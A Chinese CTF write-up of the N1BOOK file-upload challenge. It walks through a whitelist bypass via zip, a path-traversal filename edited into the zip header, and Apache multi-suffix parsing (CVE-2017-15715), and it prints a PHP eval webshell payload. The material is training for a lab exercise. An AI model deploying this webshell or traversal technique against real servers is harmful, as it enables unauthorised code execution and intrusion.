N1BOOK
[第二章 web进阶]文件上传
《从0到1:CTFer成长之路》书籍配套题目,来源网站:book.nu1l.com
源码:
题目有给php形式的源码,这里就省略一下。
文件上传路径分析
主页面是一个web界面,有一个文件提交的入口,然后给出了后台对文件处理用的php代码。
从以下php代码中可以看出:
$dir = 'upload/';
$ext = strtolower(substr(strrchr($name, '.'), 1));
$path = $dir.$name;
...
$temp_dir = $dir.md5(time(). rand(1000,9999));
...
if ($archive->extract(PCLZIP_OPT_PATH, $temp_dir, PCLZIP_OPT_REPLACE_NEWER) == 0) {
check_dir($dir);
exit("解压失败");
}
...
move_uploaded_file($file['tmp_name'], $temp_dir.'/'.$file['name']);
最终上传文件的路径是在/upload/md5(time(). rand(1000,9999))/filename
里面,由于其中的随机值+md5加密,其路径是无法直接获取并访问的,所以想到要用路径穿越,在上传的webshell文件名(比如,2.php)之前增加路径穿越,构造其文件名为/../../2.php
。
之所以要穿越两层,是因为upload路径经测试也是无法直接访问的:
Apache解析漏洞
而在upload路径访问失败的同时,发现了Apache版本过低、存在漏洞:
Apache解析漏洞
1.多后缀文件解析漏洞
在以上Apache配置下,当使用AddType(非之前的AddHandler)时,多后缀文件会从最右后缀开始识别,如果后缀不存在对应的MIME type或Handler,则会继续往左识别后缀,直到后缀有对应的MIME type或Handler。x.php.xxx文件由于xxx后缀没有对应的handler或mime type,这时往左识别出PHP后缀,就会将该文件交给application/x-httpd-php处理
2.Apache CVE-2017-15715漏洞
在HTTPD 2.4.0到2.4.29版本中,FilesMatch指令正则中“$”能够匹配到换行符,可能导致黑名单绕过
除了低版本apache存在解析漏洞这一说法,还有一种观点认为是:
apache 2.x版本,同时以module方式使apache与php结合,就会导致这样的解析漏洞。
详见:https://www.zhiu.cn/177436.html
总之,当Apache存在解析漏洞时,文件名的后缀Apache无法解析时,就会从文件名的最右端往左继续寻找可以解析的后缀。
比如2.php.xxx.yyy.zzz
,Apache碰到.zzz发现不认识,所以往左找到了.yyy也不认识,又往左找到了.xxx还是不认识,最后找到了.php终于认识了,结果这个文件就被当做.php文件来解析了。
白名单绕过
根据源码最后一段逻辑判断代码进行分析:
if(in_array($ext, array('zip', 'jpg', 'gif', 'png'))){
if($ext == 'zip'){
$archive = new PclZip($file['tmp_name']);
foreach($archive->listContent() as $value){
$filename = $value["filename"];
if(preg_match('/\.php$/', $filename)){
exit("压缩包内不允许含有php文件!");
}
}
if ($archive->extract(PCLZIP_OPT_PATH, $temp_dir, PCLZIP_OPT_REPLACE_NEWER) == 0) {
check_dir($dir);
exit("解压失败");
}
check_dir($dir);
exit('上传成功!');
}else{
move_uploaded_file($file['tmp_name'], $temp_dir.'/'.$file['name']);
check_dir($dir);
exit('上传成功!');
}
}else{
exit('仅允许上传zip、jpg、gif、png文件!');
}
发现第一个判断就给出了白名单,只有.zip.jpg.gif.png文件可以通过第一个条件判断。
而后,除了.zip文件,另外三种类型的文件被直接存到了
move_uploaded_file($file['tmp_name'], $temp_dir.'/'.$file['name']);
这个目录之下,所以即使没太看懂.zip条件分支里的这段代码干了啥:
if ($archive->extract(PCLZIP_OPT_PATH, $temp_dir, PCLZIP_OPT_REPLACE_NEWER) == 0) {
check_dir($dir);
exit("解压失败");
}
但是也能猜到,这里是进行了解压,并将文件保存到了同一个路径之下。
所以我们如果要上传一句话木马,只能选择用.zip的形式将其打包,来绕过第一层的白名单检测。
黑名单绕过
但是,在.zip的条件分支中,在解压之前还存在着这样的代码:
$archive = new PclZip($file['tmp_name']);
foreach($archive->listContent() as $value){
$filename = $value["filename"];
if(preg_match('/\.php$/', $filename)){
exit("压缩包内不允许含有php文件!");
}
}
PclZip
中的listContent()
是在zip文件解压前,从.zip文件的头部直接获取并列出压缩档中的内容,包括档案的属性与目录。
而后在该代码中被获取的、被压缩文件的文件名会被送入下面的if
语句进行黑名单判断,如果后缀是.php上传就会失败。
这一点结合Apache的解析漏洞,我们可以构造文件名为/../../2.php.xxx
,文件末尾的.xxx在绕过黑名单后,又利用Apache解析漏洞使得文件被最终解析为.php文件运行。
一句话木马的终极形态!
至此,我们可以确认最终的一句话木马的文件名应为:
/../../2.php.xxx
文件内容:
<?php eval($_POST['passwd']);?>
但是在文件命名时,我们无法将用/…/…/直接命名,所以先用同等长度的字符替代之,将文件命名为:
12212212.php.xxx
然后将其压缩为.zip文件,并放入010 Eidtor中进行修改:
最终,将修改后的12212212.php.zip
文件上传。
最后的一点小插曲…
本来以为上传成功之后,用蚁剑砍进去就完事儿了,结果发现居然会报错:
嗯???
于是直接访问一下上传后的文件:
没想到直接得到了flag…
后续又把2.php.xxx文件的内容修改为<?php phpinfo();?>
尝试了一下,发现访问后也是同样的效果。
那大概是环境本身做了限制吧…
思路应该是没错的,蚁剑虽然说没砍进去…
但你就说flag拿没拿到吧!